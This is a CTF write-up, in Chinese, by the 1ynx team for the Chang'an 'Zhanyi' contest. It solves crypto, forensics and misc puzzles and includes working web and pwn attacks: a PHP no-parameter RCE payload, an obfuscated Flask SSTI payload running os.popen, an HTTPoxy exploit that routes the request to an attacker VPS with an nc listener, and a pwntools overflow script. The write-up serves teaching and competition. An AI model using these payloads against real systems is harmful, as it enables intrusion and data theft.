长安“战疫”网络安全卫士守护赛 1ynx战队 Writeup
0x00 前言
0x01 八卦迷宫
一起走迷宫吧,要提交全拼音字符奥
走迷宫,将八卦转成字符为cazy{战长恙长战恙河长山山安战疫疫战疫安疫长安恙},再进一步转成拼音cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
0x02 RCE_No_Para
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>
我们可以通过传递的参数来进行RCE,get_defined_vars()
,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
a=phpinfo();&code=eval(current(current(get_defined_var
())));
构造a=system('cat flag.php');&code=eval(current(current(get_defined_vars())));
0x03 西安加油
用wireshark打开pcap文件,追踪tcp流,在tcp.stream eq 6
时,发现出现secret.txt的字样和一大串疑似base64的字符。
把字符提取出来,放到cyberchef里面,解密后疑似zip压缩包。
解压后得到48张照片,拼好就可以得到flag。
这个比较简单,直接开了个ppt手撕,得到cazy{make_XiAN_great_Again}。
0x04 no_cry_no_can
from Crypto.Util.number import*
from secret import flag,key
assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
block_len = len(flag) // len(key) + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])
c = can_encrypt(flag,key)
print(c)
# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
阅读代码可知,flag的前5个字符是cazy{,该算法会把key的长度进行填充,然后逐一与flag的字符进行异或,得到密文,而且key的长度是小于等于5的,所以我们可以通过密文前5个字符与flag前5个字符进行异或,求出key值,密文的长度是26,而flag的长度绝对不超过26,可以把key值进行填充,与密文逐一异或,即可求出flag。
脚本如下:
flag_head = b'cazy{'
c_head = b'<pH\x86\x1a'
key_max = (bytes([i^j for i,j in zip(flag_head,c_head)]))
print('key_max:',key_max)
c = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
block_len = len(c)// len(key_max) + 1
new_key = key_max * block_len
print('new_key:',new_key)
flag = (bytes([i^j for i,j in zip(c,new_key)]))
print('flag:',flag)
最终的flag为:cazy{y3_1s_a_h4nds0me_b0y!}
0x05 no_can_no_bb
import random
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from secret import flag
assert flag[:5] ==b'cazy{'
def pad(m):
tmp = 16-(len(m)%16)
return m + bytes([tmp for _ in range(tmp)])
def encrypt(m,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.encrypt(m)
if __name__ == "__main__":
flag = pad(flag)
key = pad(long_to_bytes(random.randrange(1,1<<20)))
c = encrypt(flag,key)
print(c)
# b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
这道题的求解关键在于key值,它是从1到1048576中随机生成的一个数经过pad()函数处理得到的结果,可以发现这个范围并不是很大,可以直接暴力破解出来。
解密脚本如下:
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
def pad(m):
tmp = 16-(len(m)%16)
return m + bytes([tmp for _ in range(tmp)])
def decrypt(m,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(m)
if __name__ == "__main__":
c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
for i in range(1,1<<20):
key = pad(long_to_bytes(i))
flag = decrypt(c,key)
if b'cazy{' in flag:
print(flag)
稍等几秒钟就能跑出结果。flag为cazy{n0_c4n,bb?n0p3!}
0x06 朴实无华的取证
查看镜像信息
filescan搜索一下txt文件,发现一个日记很可疑啊。
导出查看,发现个很像密钥的玩意儿,20211209
。
搜索图片,发现一个flag文件。
导出查看一下,得到一串离谱的字母FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]
再搜索关键字桌面,找到flag.zip的压缩包。
解压后查看发现和加密有关,foremost分离一下。
得到一段加密代码
//幼儿园水平的加密(部分)
void Encrypt(string& str)
{
for(int i = 0; i < str.length(); i++)
{
if(str[i] >='a'&& str[i]<='w')
str[i]+=3;
else if(str[i]=='x')
str[i]='a';
else if(str[i]=='y')
str[i]='b';
else if(str[i]=='z')
str[i]='c';
else if(str[i]=='_')
str[i]='|';
str[i] -= 32;
}
}
用大班水平的代码能力编写如下脚本:
s1 = 'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]'
flag = ''
for i in range(len(s1)):
k = chr(ord(s1[i])+32)
if chr(ord(k)-3) >='a'and chr(ord(k)-3)<='w':
k = chr(ord(k)-3)
elif(k == 'a'):
k ='x';
elif(k == 'b'):
k = 'y';
elif(k == 'c'):
k = 'z';
elif(k == '|'):
k = '_';
flag += k
print (flag)
最后得到cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}
0x07 binary
使用jadx打开234文件,可以看到java代码。
将byte数组转成ascii码,再转base64,得到一大串的01,感觉是二维码,上脚本。
|
|
最后得到图片,扫描得到flag{932b2c0070e4897ea7df0190dbf36ece}
0x08 Flask
给了hint
利用.js?作为后缀绕过重定向,进入admin路由
根据提示admin/?name=找到ssti入口
测试了下存在过滤了__,subclasses,[,],builtins,args等
中括号通过attr的过滤器绕过,字符串以及下划线过滤用16进制绕过,
最终payload
/admin?name={{lipsum"attr('\x5f\x5fglobals\x5f\x5f')"attr('get')
('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')"attr('get')('eval')
('\x5f\x5fimport\x5f\x5f("os").popen("cat%20flag").read()')}}.js?
0x09 Flag配送中心
考点HTTPoxy漏洞(CVE-2016-5385)
报文中加个proxy:http://vps:2333
在自己vps上监听该端口
nc-lvp2333
发个请求
接收到flag
0x0A pwn1
from pwn import *
# sh = process('pwn1')
sh = remote("113.201.14.253",16088)
vul_addr = 0x08048540
gift = sh.recv()[5:15]
gift = int(gift,16)
print(hex(gift))
payload = b'a'*(52)+p32(gift+0x50)+b"a"*20+p32(vul_addr)
# input()
sh.send(payload)
sh.interactive()
0x0B combat_slogan
将密文作为参数传进加密函数即可
0x0C cute_doge
信了信了
x64dbg打开QMessageBox下断点,跟几步就看到了flag
0x0D hello_py
Happy = [44,100,3,50,106,90,5,102,10,112]
for i in range(10):
if(i%2==1):
print(chr(Happy[i]^i),end='')
else:
print(chr(Happy[i]^Happy[i+1]),end='')